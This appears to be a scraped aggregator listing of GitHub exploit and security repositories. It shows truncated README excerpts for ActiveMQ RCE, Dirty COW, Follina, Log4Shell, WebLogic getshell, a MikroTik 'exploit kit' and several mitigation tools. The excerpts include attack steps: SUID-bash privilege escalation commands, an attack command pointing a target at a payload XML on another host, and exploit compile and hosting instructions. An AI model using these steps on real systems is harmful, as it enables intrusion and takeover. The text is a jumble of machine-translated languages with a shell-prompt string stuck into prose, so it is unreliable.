Cyber-Attack-Analysis

Caso di studio sulla cybersecurity: La violazione di Virgin Mobile KSA del 2020 📌 Sintesi esecutiva Nel 2020, un grave incidente di sicurezza ha compromesso Virgin Mobile KSA, portando al furto di dati sensibili, tra cui comunicazioni dei dipendenti e informazioni personali di oltre 1.000 utenti...

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

CVE-2025-6018 + CVE-2025-6019 Guida all'Escalation dei Privilegi 📋 Passaggi Rapidi per lo Sfruttamento Passo 1: Preparare l'immagine XFS Macchina locale root@kitploit: Create 300MB XFS image dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image Mount and install SUID bash mkdir mnt...

CVE-2020-0796-POC

CVE-2020-0796 预认证POC c 2020 ZecOps, Inc. - https://www.zecops.com - 发现攻击者的错误 用于检测CVE-2020-0796 / "SMBGhost" 的POC 预期结果：蓝屏 仅用于教育和企业环境中的测试。 ZecOps不对代码负责，使用者自行承担风险。 如果您对用于服务器、终端和移动设备的无代理DFIR工具感兴趣，可自动检测SMBGhost及其他类型攻击，请联系[email protected]。 用法 CVE-2020-0796-POC.exe 如果省略，则POC在本地主机（127.0.0.1）上执行。...

cve-2014-6271-mengjia-kong

Dieses Repository hat keine README-Datei...

cve-2022-42889-text4shell-docker

Maven installieren - maven-linux 1. Maven-Installation zum Erstellen des fat JAR root@kitploit: mvn clean install 2. Docker-Build root@kitploit: docker build --tag=text4shell . 3. Docker ausführen root@kitploit: docker run -p 80:8080 text4shell 4. App testen root@kitploit:...

TomcatScanPro

TomcatScanPro root@kitploit: Se ritieni che questo progetto ti sia utile, non dimenticare di cliccare su Star ⭐! Il tuo supporto è la nostra motivazione per continuare a ottimizzare e migliorare questo progetto! 😊 Introduzione Questo progetto è un rilevamento di password deboli per il servizio...

CVE-2024-27956

Questo repository non contiene un README...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Projekt-Referenz Dieses Projekt ist ein in Python umgeschriebenes exp, basierend auf dem exp des Projekts https://github.com/X1r0z/ActiveMQ-RCE. Verwendung root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Der Parameter -p ist standardmäßig der...

dirtcow

dirtcow डर्टी काउ Linux स्थानीय विशेषाधिकार वृद्धि भेद्यता पुनरुत्पादन CVE-2016-5195 0、 uname -a कमांड का उपयोग करके Linux कर्नेल जानकारी देखें 1、 EXP को स्थानीय/सर्वर पर डाउनलोड करें 2、 gcc -pthread dirty.c -o dirty -lcrypt कमांड का उपयोग करके dirty.c को संकलित करें, जिससे एक dirty निष्पादन योग्...

MikroTik-RouterOS-6.49.18-Exploit-Kit

MikroTik-RouterOS-6.49.18-Exploit-Kit 📋 Riepilogo del progetto MikroTik RouterOS 6.49.18 Exploit Kit 🎯 Panoramica È stato creato un progetto professionale e completo per compromettere i dispositivi MikroTik RouterOS 6.49.18, che include tutti i componenti richiesti con un'interfaccia araba comple...

CVE-2025-12543-Fix-for-Wildfly

Immagine Base WildFly 11.0.0.Final — Patch per CVE-2025-12543 Panoramica Questo repository fornisce un'immagine Docker di base costruita su WildFly 11.0.0.Final con una correzione backportata per CVE-2025-12543 , una vulnerabilità critica di validazione dell'header Host in Undertow. L'immagine è...

Serious-Sam---CVE-2021-36934-Mitigation-for-Datto-RMM

Übersicht Dies ist eine Datto RMM-Komponente zur Minderung von CVE-2021-36934, auch bekannt als Serious SAM. Sie folgt den unter den folgenden Links beschriebenen Minderungsmaßnahmen: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934 https://kb.cert.org/vuls/id/506989 NUTZUNG A...

Sandbox-Challenge-Log4Shell-CVE-2021-44228-

Sfida Sandbox: Log4Shell CVE-2021-44228 Panoramica Questa walkthrough documenta i passaggi eseguiti per completare la CISA Threat Sandbox Challenge per CVE-2021-44228, comunemente nota come Log4Shell. La sfida prevedeva il completamento di due obiettivi — uno red team offensivo e uno blue team...

PoC

PoC riferito a p0 Una PoC di CVE-2017-0411...

CVE-2018-6574-go-get-RCE

Dieses Repository hat keine README-Datei...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 Follina POC Ospita exploit.html su localhost, porta 80. Apri il docx per avviare calc. Per cambiare l'indirizzo remoto a cui punta il doc, aprilo con 7Z e modifica word\rels\document.xml.rels per farlo puntare a una nuova posizione. DEVI mantenere il punto esclamativ...

Oblivion

Oblivion 是一款专注于实时监控新数据泄露的工具，能在用户凭证泄露时发出通知。它也可以验证用户之前是否有凭证泄露。Oblivion 有两种模式： Oblivion Client：图形模式。 Oblivion Server：带有 API 功能的模式。 注意 ：Oblivion Client 和 Oblivion Server 是相互独立的。 Oblivion Client Oblivion Server 🌀 Oblivion 功能 💪 CVEs 扫描 ☑️ 与强大的 API 配合使用 🔗 也支持 Google Dorks 🔎 在单词列表中检查您的密码 👀 检查 Pastebin...

Log4j2-CVE-2021-44228

CVE-2021-44228 Remote Code Injection In Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml default use : xml org.springframework.boot spring-boot-starter-web root@kitploit: mvn dependency:treejava INFO | | +-...

CVE-2018-2628

weblogic getshell Optimiert auf Basis der Skripte von Vorgängern, um den Code in Python 3 lauffähig zu machen. Hauptsächlich unter Windows. Referenzlinks https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.zh-cn.md https://github.com/0xMJ/CVE-2018-2628 weblogic getshell Auf...

CVE-2023-43208-mirth-connect-rce-poc

ثغرة تنفيذ الأوامر عن بُعد في Mirth Connect CVE-2023-37679 وCVE-2023-43208 تمت كتابة هذا السكربت الاستغلالي وPoC لإجراء تحليل متعمق لثغرة CVE على vsociety. CVE-2023-43208 هو عيب أمني خطير في NextGen Mirth Connect، وهي أداة تستخدمها المستشفيات والعيادات لمشاركة بيانات المرضى. يتيح هذا العيب...